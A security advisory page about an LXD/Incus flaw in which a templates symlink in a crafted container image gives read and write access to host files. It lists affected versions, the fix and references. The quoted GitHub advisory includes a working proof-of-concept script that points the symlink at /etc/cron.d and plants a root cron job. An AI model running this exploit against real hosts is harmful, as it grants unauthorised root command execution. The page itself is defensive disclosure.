Symlink in LXD image templates allows host file read and write
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
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- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
The Go module github.com/canonical/lxd is affected before 0.0.0-20260203144152-d1c8ba15d160. Image extraction does not reject a top-level templates symlink, so file paths are controlled from outside the image (CWE-73). An attacker who supplies a crafted container image can read and write arbitrary files on the host, possibly leading to command execution.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
Description from the GitHub advisory
Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC Below, we map the templates directory to `/etc/cron.d` on the host, but it can be mapped anywhere. We then create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/canonical/lxd (Go) | before 0.0.0-20260203144152-d1c8ba15d160 | 0.0.0-20260203144152-d1c8ba15d160 | Patch available | GHSA-jpf8-86f3-wp38 |
- github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260203144152-d1c8ba15d160 Fixed in 0.0.0-20260203144152-d1c8ba15d160 Patch available GHSA-jpf8-86f3-wp38
Remediation
Update github.com/canonical/lxd to 0.0.0-20260203144152-d1c8ba15d160, which is the fixed version listed in the sources.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
- Fix · GHSA-jpf8-86f3-wp38 github.com/canonical/lxd (Go) Fixed in 0.0.0-20260203144152-d1c8ba15d160 Advisory →
Timeline
- 2026-11-06 Threatist record created from GHSA-jpf8-86f3-wp38
References
Other 12
- https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38
- https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
- https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3
- https://github.com/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7
- https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
- https://github.com/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805
- https://github.com/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a
- https://github.com/lxc/incus/commit/cbefa31ae0da8fd96361178aed3a3c631e098fef
- https://github.com/canonical/lxd
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences